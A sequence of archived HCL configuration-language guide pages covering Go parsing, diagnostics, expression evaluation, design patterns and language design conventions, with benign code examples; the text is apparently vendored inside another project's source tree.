``StartRange`` to draw attention to the beginning of a tuple constructor, without highlighting the entire expression. Method ``Value`` is the primary API for expressions, and takes the same kind of evaluation context object described in :ref:`go-expression-eval`. .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), "age": cty.NumberIntVal(32), }, } val, moreDiags := expr.Value(ctx) diags = append(diags, moreDiags...) havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_diagnostics.rst000066400000000000000000000073731467014221700276520ustar00rootroot00000000000000.. _go-diagnostics: Diagnostic Messages =================== An important concern for any machine language intended for human authoring is to produce good error messages when the input is somehow invalid, or has other problems. HCL uses *diagnostics* to describe problems in an end-user-oriented manner, such that the calling application can render helpful error or warning messages. The word "diagnostic" is a general term that covers both errors and warnings, where errors are problems that prevent complete processing while warnings are possible concerns that do not block processing. HCL deviates from usual Go API practice by returning its own ``hcl.Diagnostics`` type, instead of Go's own ``error`` type. This allows functions to return warnings without accompanying errors while not violating the usual expectation that the absence of errors is indicated by a nil ``error``. In order to easily accumulate and return multiple diagnostics at once, the usual pattern for functions returning diagnostics is to gather them in a local variable and then return it at the end of the function, or possibly earlier if the function cannot continue due to the problems. .. code-block:: go func returningDiagnosticsExample() hcl.Diagnostics { var diags hcl.Diagnostics // ... // Call a function that may itself produce diagnostics. f, moreDiags := parser.LoadHCLFile("example.conf") // always append, in case warnings are present diags = append(diags, moreDiags...) if diags.HasErrors() { // If we can't safely continue in the presence of errors here, we // can optionally return early. return diags } // ... return diags } A common variant of the above pattern is calling another diagnostics-generating function in a loop, using ``continue`` to begin the next iteration when errors are detected, but still completing all iterations and returning the union of all of the problems encountered along the way. In :ref:`go-parsing`, we saw that the parser can generate diagnostics which are related to syntax problems within the loaded file. Further steps to decode content from the loaded file can also generate diagnostics related to *semantic* problems within the file, such as invalid expressions or type mismatches, and so a program using HCL will generally need to accumulate diagnostics across these various steps and then render them in the application UI somehow. Rendering Diagnostics in the UI ------------------------------- The best way to render diagnostics to an end-user will depend a lot on the type of application: they might be printed into a terminal, written into a log for later review, or even shown in a GUI. HCL leaves the responsibility for rendering diagnostics to the calling application, but since rendering to a terminal is a common case for command-line tools, the `hcl` package contains a default implementation of this in the form of a "diagnostic text writer": .. code-block:: go wr := hcl.NewDiagnosticTextWriter( os.Stdout, // writer to send messages to parser.Files(), // the parser's file cache, for source snippets 78, // wrapping width true, // generate colored/highlighted output ) wr.WriteDiagnostics(diags) This default implementation of diagnostic rendering includes relevant lines of source code for context, like this: :: Error: Unsupported block type on example.tf line 4, in resource "aws_instance" "example": 2: provisionr "local-exec" { Blocks of type "provisionr" are not expected here. Did you mean "provisioner"? If the "color" flag is enabled, the severity will be additionally indicated by a text color and the relevant portion of the source code snippet will be underlined to draw further attention. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_expression_eval.rst000066400000000000000000000135621467014221700305460ustar00rootroot00000000000000.. _go-expression-eval: Expression Evaluation ===================== Each argument attribute in a configuration file is interpreted as an expression. In the HCL native syntax, certain basic expression functionality is always available, such as arithmetic and template strings, and the calling application can extend this by making available specific variables and/or functions via an *evaluation context*. We saw in :ref:`go-decoding-gohcl` and :ref:`go-decoding-hcldec` some basic examples of populating an evaluation context to make a variable available. This section will look more closely at the ``hcl.EvalContext`` type and how HCL expression evaluation behaves in different cases. This section does not discuss in detail the expression syntax itself. For more information on that, see the HCL Native Syntax specification. .. go:currentpackage:: hcl .. go:type:: EvalContext ``hcl.EvalContext`` is the type used to describe the variables and functions available during expression evaluation, if any. Its usage is described in the following sections. Defining Variables ------------------ As we saw in :ref:`go-decoding-hcldec`, HCL represents values using an underlying library called :go:pkg:`cty`. When defining variables, their values must be given as :go:type:`cty.Value` values. A full description of the types and value constructors in :go:pkg:`cty` is in `the reference documentation `_. Variables in HCL are defined by assigning values into a map from string names to :go:type:`cty.Value`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), "age": cty.NumberIntVal(32), }, } If this evaluation context were passed to one of the evaluation functions we saw in previous sections, the user would be able to refer to these variable names in any argument expression appearing in the evaluated portion of configuration: .. code-block:: hcl message = "${name} is ${age} ${age == 1 ? "year" : "years"} old!" If you place ``cty``'s *object* values in the evaluation context, then their attributes can be referenced using the HCL attribute syntax, allowing for more complex structures: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "path": cty.ObjectVal(map[string]cty.Value{ "root": cty.StringVal(rootDir), "module": cty.StringVal(moduleDir), "current": cty.StringVal(currentDir), }), }, } .. code-block:: hcl source_file = "${path.module}/foo.txt" .. _go-expression-funcs: Defining Functions ------------------ Custom functions can be defined by you application to allow users of its language to transform data in application-specific ways. The underlying function mechanism is also provided by :go:pkg:`cty`, allowing you to define the arguments a given function expects, what value type it will return for given argument types, etc. The full functions model is described in the ``cty`` documentation section `Functions System `_. There are `a number of "standard library" functions `_ available in a ``stdlib`` package within the :go:pkg:`cty` repository, avoiding the need for each application to re-implement basic functions for string manipulation, list manipulation, etc. It also includes function-shaped versions of several operations that are native operators in HCL, which should generally *not* be exposed as functions in HCL-based configuration formats to avoid user confusion. You can define functions in the ``Functions`` field of :go:type:`hcl.EvalContext`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), }, Functions: map[string]function.Function{ "upper": stdlib.UpperFunc, "lower": stdlib.LowerFunc, "min": stdlib.MinFunc, "max": stdlib.MaxFunc, "strlen": stdlib.StrlenFunc, "substr": stdlib.SubstrFunc, }, } If this evaluation context were passed to one of the evaluation functions we saw in previous sections, the user would be able to call any of these functions in any argument expression appearing in the evaluated portion of configuration: .. code-block:: hcl message = "HELLO, ${upper(name)}!" Expression Evaluation Modes --------------------------- HCL uses a different expression evaluation mode depending on the evaluation context provided. In HCL native syntax, evaluation modes are used to provide more relevant error messages. In JSON syntax, which embeds the native expression syntax in strings using "template" syntax, the evaluation mode determines whether strings are evaluated as templates at all. If the given :go:type:`hcl.EvalContext` is ``nil``, native syntax expressions will react to users attempting to refer to variables or functions by producing errors indicating that these features are not available at all, rather than by saying that the specific variable or function does not exist. JSON syntax strings will not be evaluated as templates *at all* in this mode, making them function as literal strings. If the evaluation context is non-``nil`` but either ``Variables`` or ``Functions`` within it is ``nil``, native syntax will similarly produce "not supported" error messages. JSON syntax strings *will* parse templates in this case, but can also generate "not supported" messages if e.g. the user accesses a variable when the variables map is ``nil``. If neither map is ``nil``, HCL assumes that both variables and functions are supported and will instead produce error messages stating that the specific variable or function accessed by the user is not defined. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_parsing.rst000066400000000000000000000046661467014221700270100ustar00rootroot00000000000000.. _go-parsing: Parsing HCL Input ================= The first step in processing HCL input provided by a user is to parse it. Parsing turns the raw bytes from an input file into a higher-level representation of the arguments and blocks, ready to be *decoded* into an application-specific form. The main entry point into HCL parsing is :go:pkg:`hclparse`, which provides :go:type:`hclparse.Parser`: .. code-block:: go parser := hclparse.NewParser() f, diags := parser.ParseHCLFile("server.conf") Variable ``f`` is then a pointer to an :go:type:`hcl.File`, which is an opaque abstract representation of the file, ready to be decoded. Variable ``diags`` describes any errors or warnings that were encountered during processing; HCL conventionally uses this in place of the usual ``error`` return value in Go, to allow returning a mixture of multiple errors and warnings together with enough information to present good error messages to the user. We'll cover this in more detail in the next section, :ref:`go-diagnostics`. .. go:package:: hclparse Package ``hclparse`` -------------------- .. go:type:: Parser .. go:function:: func NewParser() *Parser Constructs a new parser object. Each parser contains a cache of files that have already been read, so repeated calls to load the same file will return the same object. .. go:function:: func (*Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) Parse the given source code as HCL native syntax, saving the result into the parser's file cache under the given filename. .. go:function:: func (*Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) Parse the contents of the given file as HCL native syntax. This is a convenience wrapper around ParseHCL that first reads the file into memory. .. go:function:: func (*Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) Parse the given source code as JSON syntax, saving the result into the parser's file cache under the given filename. .. go:function:: func (*Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) Parse the contents of the given file as JSON syntax. This is a convenience wrapper around ParseJSON that first reads the file into memory. The above list just highlights the main functions in this package. For full documentation, see `the hclparse godoc `_. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/go_patterns.rst000066400000000000000000000331121467014221700271710ustar00rootroot00000000000000Design Patterns for Complex Systems =================================== In previous sections we've seen an overview of some different ways an application can decode a language its has defined in terms of the HCL grammar. For many applications, those mechanisms are sufficient. However, there are some more complex situations that can benefit from some additional techniques. This section lists a few of these situations and ways to use the HCL API to accommodate them. .. _go-interdep-blocks: Interdependent Blocks --------------------- In some configuration languages, the variables available for use in one configuration block depend on values defined in other blocks. For example, in Terraform many of the top-level constructs are also implicitly definitions of values that are available for use in expressions elsewhere: .. code-block:: hcl variable "network_numbers" { type = list(number) } variable "base_network_addr" { type = string default = "10.0.0.0/8" } locals { network_blocks = { for x in var.number: x => cidrsubnet(var.base_network_addr, 8, x) } } resource "cloud_subnet" "example" { for_each = local.network_blocks cidr_block = each.value } output "subnet_ids" { value = cloud_subnet.example[*].id } In this example, the ``variable "network_numbers"`` block makes ``var.network_numbers`` available to expressions, the ``resource "cloud_subnet" "example"`` block makes ``cloud_subnet.example`` available, etc. Terraform achieves this by decoding the top-level structure in isolation to start. You can do this either using the low-level API or using :go:pkg:`gohcl` with :go:type:`hcl.Body` fields tagged as "remain". Once you have a separate body for each top-level block, you can inspect each of the attribute expressions inside using the ``Variables`` method on :go:type:`hcl.Expression`, or the ``Variables`` function from package :go:pkg:`hcldec` if you will eventually use its higher-level API to decode as Terraform does. The detected variable references can then be used to construct a dependency graph between the blocks, and then perform a `topological sort `_ to determine the correct order to evaluate each block's contents so that values will always be available before they are needed. Since :go:pkg:`cty` values are immutable, it is not convenient to directly change values in a :go:type:`hcl.EvalContext` during this gradual evaluation, so instead construct a specialized data structure that has a separate value per object and construct an evaluation context from that each time a new value becomes available. Using :go:pkg:`hcldec` to evaluate block bodies is particularly convenient in this scenario because it produces :go:type:`cty.Value` results which can then just be directly incorporated into the evaluation context. Distributed Systems ------------------- Distributed systems cause a number of extra challenges, and configuration management is rarely the worst of these. However, there are some specific considerations for using HCL-based configuration in distributed systems. For the sake of this section, we are concerned with distributed systems where at least two separate components both depend on the content of HCL-based configuration files. Real-world examples include the following: * **HashiCorp Nomad** loads configuration (job specifications) in its servers but also needs these results in its clients and in its various driver plugins. * **HashiCorp Terraform** parses configuration in Terraform Core but can write a partially-evaluated execution plan to disk and continue evaluation in a separate process later. It must also pass configuration values into provider plugins. Broadly speaking, there are two approaches to allowing configuration to be accessed in multiple subsystems, which the following subsections will discuss separately. Ahead-of-time Evaluation ^^^^^^^^^^^^^^^^^^^^^^^^ Ahead-of-time evaluation is the simplest path, with the configuration files being entirely evaluated on entry to the system, and then only the resulting *constant values* being passed between subsystems. This approach is relatively straightforward because the resulting :go:type:`cty.Value` results can be losslessly serialized as either JSON or msgpack as long as all system components agree on the expected value types. Aside from passing these values around "on the wire", parsing and decoding of configuration proceeds as normal. Both Nomad and Terraform use this approach for interacting with *plugins*, because the plugins themselves are written by various different teams that do not coordinate closely, and so doing all expression evaluation in the core subsystems ensures consistency between plugins and simplifies plugin development. In both applications, the plugin is expected to describe (using an application-specific protocol) the schema it expects for each element of configuration it is responsible for, allowing the core subsystems to perform decoding on the plugin's behalf and pass a value that is guaranteed to conform to the schema. Gradual Evaluation ^^^^^^^^^^^^^^^^^^ Although ahead-of-time evaluation is relatively straightforward, it has the significant disadvantage that all data available for access via variables or functions must be known by whichever subsystem performs that initial evaluation. For example, in Terraform, the "plan" subcommand is responsible for evaluating the configuration and presenting to the user an execution plan for approval, but certain values in that plan cannot be determined until the plan is already being applied, since the specific values used depend on remote API decisions such as the allocation of opaque id strings for objects. In Terraform's case, both the creation of the plan and the eventual apply of that plan *both* entail evaluating configuration, with the apply step having a more complete set of input values and thus producing a more complete result. However, this means that Terraform must somehow make the expressions from the original input configuration available to the separate process that applies the generated plan. Good usability requires error and warning messages that are able to refer back to specific sections of the input configuration as context for the reported problem, and the best way to achieve this in a distributed system doing gradual evaluation is to send the configuration *source code* between subsystems. This is generally the most compact representation that retains source location information, and will avoid any inconsistency caused by introducing another intermediate serialization. In Terraform's, for example, the serialized plan incorporates both the data structure describing the partial evaluation results from the plan phase and the original configuration files that produced those results, which can then be re-evalauated during the apply step. In a gradual evaluation scenario, the application should verify correctness of the input configuration as completely as possible at each state. To help with this, :go:pkg:`cty` has the concept of `unknown values `_, which can stand in for values the application does not yet know while still retaining correct type information. HCL expression evaluation reacts to unknown values by performing type checking but then returning another unknown value, causing the unknowns to propagate through expressions automatically. .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.UnknownVal(cty.String), "age": cty.UnknownVal(cty.Number), }, } val, moreDiags := expr.Value(ctx) diags = append(diags, moreDiags...) Each time an expression is re-evaluated with additional information, fewer of the input values will be unknown and thus more of the result will be known. Eventually the application should evaluate the expressions with no unknown values at all, which then guarantees that the result will also be wholly-known. Static References, Calls, Lists, and Maps ----------------------------------------- In most cases, we care more about the final result value of an expression than how that value was obtained. A particular list argument, for example, might be defined by the user via a tuple constructor, by a `for` expression, or by assigning the value of a variable that has a suitable list type. In some special cases, the structure of the expression is more important than the result value, or an expression may not *have* a reasonable result value. For example, in Terraform there are a few arguments that call for the user to name another object by reference, rather than provide an object value: .. code-block:: hcl resource "cloud_network" "example" { # ... } resource "cloud_subnet" "example" { cidr_block = "10.1.2.0/24" depends_on = [ cloud_network.example, ] } The ``depends_on`` argument in the second ``resource`` block *appears* as an expression that would construct a single-element tuple containing an object representation of the first resource block. However, Terraform uses this expression to construct its dependency graph, and so it needs to see specifically that this expression refers to ``cloud_network.example``, rather than determine a result value for it. HCL offers a number of "static analysis" functions to help with this sort of situation. These all live in the :go:pkg:`hcl` package, and each one imposes a particular requirement on the syntax tree of the expression it is given, and returns a result derived from that if the expression conforms to that requirement. .. go:currentpackage:: hcl .. go:function:: func ExprAsKeyword(expr Expression) string This function attempts to interpret the given expression as a single keyword, returning that keyword as a string if possible. A "keyword" for the purposes of this function is an expression that can be understood as a valid single identifier. For example, the simple variable reference ``foo`` can be interpreted as a keyword, while ``foo.bar`` cannot. As a special case, the language-level keywords ``true``, ``false``, and ``null`` are also considered to be valid keywords, allowing the calling application to disregard their usual meaning. If the given expression cannot be reduced to a single keyword, the result is an empty string. Since an empty string is never a valid keyword, this result unambiguously signals failure. .. go:function:: func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) This is a generalization of ``ExprAsKeyword`` that will accept anything that can be interpreted as a *traversal*, which is a variable name followed by zero or more attribute access or index operators with constant operands. For example, all of ``foo``, ``foo.bar`` and ``foo[0]`` are valid traversals, but ``foo[bar]`` is not, because the ``bar`` index is not constant. This is the function that Terraform uses to interpret the items within the ``depends_on`` sequence in our example above. As with ``ExprAsKeyword``, this function has a special case that the keywords ``true``, ``false``, and ``null`` will be accepted as if they were variable names by this function, allowing ``null.foo`` to be interpreted as a traversal even though it would be invalid if evaluated. If error diagnostics are returned, the traversal result is invalid and should not be used. .. go:function:: func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) This is very similar to ``AbsTraversalForExpr``, but the result is a *relative* traversal, which is one whose first name is considered to be an attribute of some other (implied) object. The processing rules are identical to ``AbsTraversalForExpr``, with the only exception being that the first element of the returned traversal is marked as being an attribute, rather than as a root variable. .. go:function:: func ExprList(expr Expression) ([]Expression, Diagnostics) This function requires that the given expression be a tuple constructor, and if so returns a slice of the element expressions in that constructor. Applications can then perform further static analysis on these, or evaluate them as normal. If error diagnostics are returned, the result is invalid and should not be used. This is the function that Terraform uses to interpret the expression assigned to ``depends_on`` in our example above, then in turn using ``AbsTraversalForExpr`` on each enclosed expression. .. go:function:: func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) This function requires that the given expression be an object constructor, and if so returns a slice of the element key/value pairs in that constructor. Applications can then perform further static analysis on these, or evaluate them as normal. If error diagnostics are returned, the result is invalid and should not be used. .. go:function:: func ExprCall(expr Expression) (*StaticCall, Diagnostics) This function requires that the given expression be a function call, and if so returns an object describing the name of the called function and expression objects representing the call arguments. If error diagnostics are returned, the result is invalid and should not be used. The ``Variables`` method on :go:type:`hcl.Expression` is also considered to be a "static analysis" helper, but is built in as a fundamental feature because analysis of referenced variables is often important for static validation and for implementing interdependent blocks as we saw in the section above. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/index.rst000066400000000000000000000025301467014221700257530ustar00rootroot00000000000000HCL Config Language Toolkit =========================== HCL is a toolkit for creating structured configuration languages that are both human- and machine-friendly, for use with command-line tools, servers, etc. HCL has both a native syntax, intended to be pleasant to read and write for humans, and a JSON-based variant that is easier for machines to generate and parse. The native syntax is inspired by libucl_, `nginx configuration`_, and others. It includes an expression syntax that allows basic inline computation and, with support from the calling application, use of variables and functions for more dynamic configuration languages. HCL provides a set of constructs that can be used by a calling application to construct a configuration language. The application defines which argument names and nested block types are expected, and HCL parses the configuration file, verifies that it conforms to the expected structure, and returns high-level objects that the application can use for further processing. At present, HCL is primarily intended for use in applications written in Go_, via its library API. .. toctree:: :maxdepth: 1 :caption: Contents: intro go language_design .. _libucl: https://github.com/vstakhov/libucl .. _`nginx configuration`: http://nginx.org/en/docs/beginners_guide.html#conf_structure .. _Go: https://golang.org/ havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/intro.rst000066400000000000000000000077021467014221700260050ustar00rootroot00000000000000.. _intro: Introduction to HCL =================== HCL-based configuration is built from two main constructs: arguments and blocks. The following is an example of a configuration language for a hypothetical application: .. code-block:: hcl io_mode = "async" service "http" "web_proxy" { listen_addr = "127.0.0.1:8080" process "main" { command = ["/usr/local/bin/awesome-app", "server"] } process "mgmt" { command = ["/usr/local/bin/awesome-app", "mgmt"] } } In the above example, ``io_mode`` is a top-level argument, while ``service`` introduces a block. Within the body of a block, further arguments and nested blocks are allowed. A block type may also expect a number of *labels*, which are the quoted names following the ``service`` keyword in the above example. The specific keywords ``io_mode``, ``service``, ``process``, etc here are application-defined. HCL provides the general block structure syntax, and can validate and decode configuration based on the application's provided schema. HCL is a structured configuration language rather than a data structure serialization language. This means that unlike languages such as JSON, YAML, or TOML, HCL is always decoded using an application-defined schema. However, HCL does have a JSON-based alternative syntax, which allows the same structure above to be generated using a standard JSON serializer when users wish to generate configuration programmatically rather than hand-write it: .. code-block:: json { "io_mode": "async", "service": { "http": { "web_proxy": { "listen_addr": "127.0.0.1:8080", "process": { "main": { "command": ["/usr/local/bin/awesome-app", "server"] }, "mgmt": { "command": ["/usr/local/bin/awesome-app", "mgmt"] }, } } } } } The calling application can choose which syntaxes to support. JSON syntax may not be important or desirable for certain applications, but it is available for applications that need it. The schema provided by the calling application allows JSON input to be properly decoded even though JSON syntax is ambiguous in various ways, such as whether a JSON object is representing a nested block or an object expression. The collection of arguments and blocks at a particular nesting level is called a *body*. A file always has a root body containing the top-level elements, and each block also has its own body representing the elements within it. The term "attribute" can also be used to refer to what we've called an "argument" so far. The term "attribute" is also used for the fields of an object value in argument expressions, and so "argument" is used to refer specifically to the type of attribute that appears directly within a body. The above examples show the general "texture" of HCL-based configuration. The full details of the syntax are covered in the language specifications. .. todo:: Once the language specification documents have settled into a final location, link them from above. Argument Expressions -------------------- The value of an argument can be a literal value shown above, or it may be an expression to allow arithmetic, deriving one value from another, etc. .. code-block:: hcl listen_addr = env.LISTEN_ADDR Built-in arithmetic and comparison operators are automatically available in all HCL-based configuration languages. A calling application may optionally provide variables that users can reference, like ``env`` in the above example, and custom functions to transform values in application-specific ways. Full details of the expression syntax are in the HCL native syntax specification. Since JSON does not have an expression syntax, JSON-based configuration files use the native syntax expression language embedded inside JSON strings. .. todo:: Once the language specification documents have settled into a final location, link to the native syntax specification from above. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/language_design.rst000066400000000000000000000365051467014221700277710ustar00rootroot00000000000000Configuration Language Design ============================= In this section we will cover some conventions for HCL-based configuration languages that can help make them feel consistent with other HCL-based languages, and make the best use of HCL's building blocks. HCL's native and JSON syntaxes both define a mapping from input bytes to a higher-level information model. In designing a configuration language based on HCL, your building blocks are the components in that information model: blocks, arguments, and expressions. Each calling application of HCL, then, effectively defines its own language. Just as Atom and RSS are higher-level languages built on XML, HashiCorp Terraform has a higher-level language built on HCL, while HashiCorp Nomad has its own distinct language that is *also* built on HCL. From an end-user perspective, these are distinct languages but have a common underlying texture. Users of both are therefore likely to bring some expectations from one to the other, and so this section is an attempt to codify some of these shared expectations to reduce user surprise. These are subjective guidelines however, and so applications may choose to ignore them entirely or ignore them in certain specialized cases. An application providing a configuration language for a pre-existing system, for example, may choose to eschew the identifier naming conventions in this section in order to exactly match the existing names in that underlying system. Language Keywords and Identifiers --------------------------------- Much of the work in defining an HCL-based language is in selecting good names for arguments, block types, variables, and functions. The standard for naming in HCL is to use all-lowercase identifiers with underscores separating words, like ``service`` or ``io_mode``. HCL identifiers do allow uppercase letters and dashes, but this primarily for natural interfacing with external systems that may have other identifier conventions, and so these should generally be avoided for the identifiers native to your own language. The distinction between "keywords" and other identifiers is really just a convention. In your own language documentation, you may use the word "keyword" to refer to names that are presented as an intrinsic part of your language, such as important top-level block type names. Block type names are usually singular, since each block defines a single object. Use a plural block name only if the block is serving only as a namespacing container for a number of other objects. A block with a plural type name will generally contain only nested blocks, and no arguments of its own. Argument names are also singular unless they expect a collection value, in which case they should be plural. For example, ``name = "foo"`` but ``subnet_ids = ["abc", "123"]``. Function names will generally *not* use underscores and will instead just run words together, as is common in the C standard library. This is a result of the fact that several of the standard library functions offered in ``cty`` (covered in a later section) have names that follow C library function names like ``substr``. This is not a strong rule, and applications that use longer names may choose to use underscores for them to improve readability. Blocks vs. Object Values ------------------------ HCL blocks and argument values of object type have quite a similar appearance in the native syntax, and are identical in JSON syntax: .. code-block:: hcl block { foo = bar } # argument with object constructor expression argument = { foo = bar } In spite of this superficial similarity, there are some important differences between these two forms. The most significant difference is that a child block can contain nested blocks of its own, while an object constructor expression can define only attributes of the object it is creating. The user-facing model for blocks is that they generally form the more "rigid" structure of the language itself, while argument values can be more free-form. An application will generally define in its schema and documentation all of the arguments that are valid for a particular block type, while arguments accepting object constructors are more appropriate for situations where the arguments themselves are freely selected by the user, such as when the expression will be converted by the application to a map type. As a less contrived example, consider the ``resource`` block type in Terraform and its use with a particular resource type ``aws_instance``: .. code-block:: hcl resource "aws_instance" "example" { ami = "ami-abc123" instance_type = "t2.micro" tags = { Name = "example instance" } ebs_block_device { device_name = "hda1" volume_size = 8 volume_type = "standard" } } The top-level block type ``resource`` is fundamental to Terraform itself and so an obvious candidate for block syntax: it maps directly onto an object in Terraform's own domain model. Within this block we see a mixture of arguments and nested blocks, all defined as part of the schema of the ``aws_instance`` resource type. The ``tags`` map here is specified as an argument because its keys are free-form, chosen by the user and mapped directly onto a map in the underlying system. ``ebs_block_device`` is specified as a nested block, because it is a separate domain object within the remote system and has a rigid schema of its own. As a special case, block syntax may sometimes be used with free-form keys if those keys each serve as a separate declaration of some first-class object in the language. For example, Terraform has a top-level block type ``locals`` which behaves in this way: .. code-block:: hcl locals { instance_type = "t2.micro" instance_id = aws_instance.example.id } Although the argument names in this block are arbitrarily selected by the user, each one defines a distinct top-level object. In other words, this approach is used to create a more ergonomic syntax for defining these simple single-expression objects, as a pragmatic alternative to more verbose and redundant declarations using blocks: .. code-block:: hcl local "instance_type" { value = "t2.micro" } local "instance_id" { value = aws_instance.example.id } The distinction between domain objects, language constructs and user data will always be subjective, so the final decision is up to you as the language designer. Standard Functions ------------------ HCL itself does not define a common set of functions available in all HCL-based languages; the built-in language operators give a baseline of functionality that is always available, but applications are free to define functions as they see fit. With that said, there's a number of generally-useful functions that don't belong to the domain of any one application: string manipulation, sequence manipulation, date formatting, JSON serialization and parsing, etc. Given the general need such functions serve, it's helpful if a similar set of functions is available with compatible behavior across multiple HCL-based languages, assuming the language is for an application where function calls make sense at all. The Go implementation of HCL is built on an underlying type and function system :go:pkg:`cty`, whose usage was introduced in :ref:`go-expression-funcs`. That library also has a package of "standard library" functions which we encourage applications to offer with consistent names and compatible behavior, either by using the standard implementations directly or offering compatible implementations under the same name. The "standard" functions that new configuration formats should consider offering are: * ``abs(number)`` - returns the absolute (positive) value of the given number. * ``coalesce(vals...)`` - returns the value of the first argument that isn't null. Useful only in formats where null values may appear. * ``compact(vals...)`` - returns a new tuple with the non-null values given as arguments, preserving order. * ``concat(seqs...)`` - builds a tuple value by concatenating together all of the given sequence (list or tuple) arguments. * ``format(fmt, args...)`` - performs simple string formatting similar to the C library function ``printf``. * ``hasindex(coll, idx)`` - returns true if the given collection has the given index. ``coll`` may be of list, tuple, map, or object type. * ``int(number)`` - returns the integer component of the given number, rounding towards zero. * ``jsondecode(str)`` - interprets the given string as JSON format and return the corresponding decoded value. * ``jsonencode(val)`` - encodes the given value as a JSON string. * ``length(coll)`` - returns the length of the given collection. * ``lower(str)`` - converts the letters in the given string to lowercase, using Unicode case folding rules. * ``max(numbers...)`` - returns the highest of the given number values. * ``min(numbers...)`` - returns the lowest of the given number values. * ``sethas(set, val)`` - returns true only if the given set has the given value as an element. * ``setintersection(sets...)`` - returns the intersection of the given sets * ``setsubtract(set1, set2)`` - returns a set with the elements from ``set1`` that are not also in ``set2``. * ``setsymdiff(sets...)`` - returns the symmetric difference of the given sets. * ``setunion(sets...)`` - returns the union of the given sets. * ``strlen(str)`` - returns the length of the given string in Unicode grapheme clusters. * ``substr(str, offset, length)`` - returns a substring from the given string by splitting it between Unicode grapheme clusters. * ``timeadd(time, duration)`` - takes a timestamp in RFC3339 format and a possibly-negative duration given as a string like ``"1h"`` (for "one hour") and returns a new RFC3339 timestamp after adding the duration to the given timestamp. * ``upper(str)`` - converts the letters in the given string to uppercase, using Unicode case folding rules. Not all of these functions will make sense in all applications. For example, an application that doesn't use set types at all would have no reason to provide the set-manipulation functions here. Some languages will not provide functions at all, since they are primarily for assigning values to arguments and thus do not need nor want any custom computations of those values. Block Results as Expression Variables ------------------------------------- In some applications, top-level blocks serve also as declarations of variables (or of attributes of object variables) available during expression evaluation, as discussed in :ref:`go-interdep-blocks`. In this case, it's most intuitive for the variables map in the evaluation context to contain an value named after each valid top-level block type and for these values to be object-typed or map-typed and reflect the structure implied by block type labels. For example, an application may have a top-level ``service`` block type used like this: .. code-block:: hcl service "http" "web_proxy" { listen_addr = "127.0.0.1:8080" process "main" { command = ["/usr/local/bin/awesome-app", "server"] } process "mgmt" { command = ["/usr/local/bin/awesome-app", "mgmt"] } } If the result of decoding this block were available for use in expressions elsewhere in configuration, the above convention would call for it to be available to expressions as an object at ``service.http.web_proxy``. If it the contents of the block itself that are offered to evaluation -- or a superset object *derived* from the block contents -- then the block arguments can map directly to object attributes, but it is up to the application to decide which value type is most appropriate for each block type, since this depends on how multiple blocks of the same type relate to one another, or if multiple blocks of that type are even allowed. In the above example, an application would probably expose the ``listen_addr`` argument value as ``service.http.web_proxy.listen_addr``, and may choose to expose the ``process`` blocks as a map of objects using the labels as keys, which would allow an expression like ``service.http.web_proxy.service["main"].command``. If multiple blocks of a given type do not have a significant order relative to one another, as seems to be the case with these ``process`` blocks, representation as a map is often the most intuitive. If the ordering of the blocks *is* significant then a list may be more appropriate, allowing the use of HCL's "splat operators" for convenient access to child arguments. However, there is no one-size-fits-all solution here and language designers must instead consider the likely usage patterns of each value and select the value representation that best accommodates those patterns. Some applications may choose to offer variables with slightly different names than the top-level blocks in order to allow for more concise references, such as abbreviating ``service`` to ``svc`` in the above examples. This should be done with care since it may make the relationship between the two less obvious, but this may be a good tradeoff for names that are accessed frequently that might otherwise hurt the readability of expressions they are embedded in. Familiarity permits brevity. Many applications will not make blocks results available for use in other expressions at all, in which case they are free to select whichever variable names make sense for what is being exposed. For example, a format may make environment variable values available for use in expressions, and may do so either as top-level variables (if no other variables are needed) or as an object named ``env``, which can be used as in ``env.HOME``. Text Editor and IDE Integrations -------------------------------- Since HCL defines only low-level syntax, a text editor or IDE integration for HCL itself can only really provide basic syntax highlighting. For non-trivial HCL-based languages, a more specialized editor integration may be warranted. For example, users writing configuration for HashiCorp Terraform must recall the argument names for numerous different provider plugins, and so auto-completion and documentation hovertips can be a great help, and configurations are commonly spread over multiple files making "Go to Definition" functionality useful. None of this functionality can be implemented generically for all HCL-based languages since it relies on knowledge of the structure of Terraform's own language. Writing such text editor integrations is out of the scope of this guide. The Go implementation of HCL does have some building blocks to help with this, but it will always be an application-specific effort. However, in order to *enable* such integrations, it is best to establish a conventional file extension *other than* `.hcl` for each non-trivial HCL-based language, thus allowing text editors to recognize it and enable the suitable integration. For example, Terraform requires ``.tf`` and ``.tf.json`` filenames for its main configuration, and the ``hcldec`` utility in the HCL repository accepts spec files that should conventionally be named with an ``.hcldec`` extension. For simple languages that are unlikely to benefit from specific editor integrations, using the ``.hcl`` extension is fine and may cause an editor to enable basic syntax highlighting, absent any other deeper features. An editor extension for a specific HCL-based language should *not* match generically the ``.hcl`` extension, since this can cause confusing results for users attempting to write configuration files targeting other applications. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/guide/make.bat000066400000000000000000000014471467014221700255250ustar00rootroot00000000000000@ECHO OFF pushd %~dp0 REM Command file for Sphinx documentation if "%SPHINXBUILD%" == "" ( set SPHINXBUILD=sphinx-build ) set SOURCEDIR=. set BUILDDIR=_build set 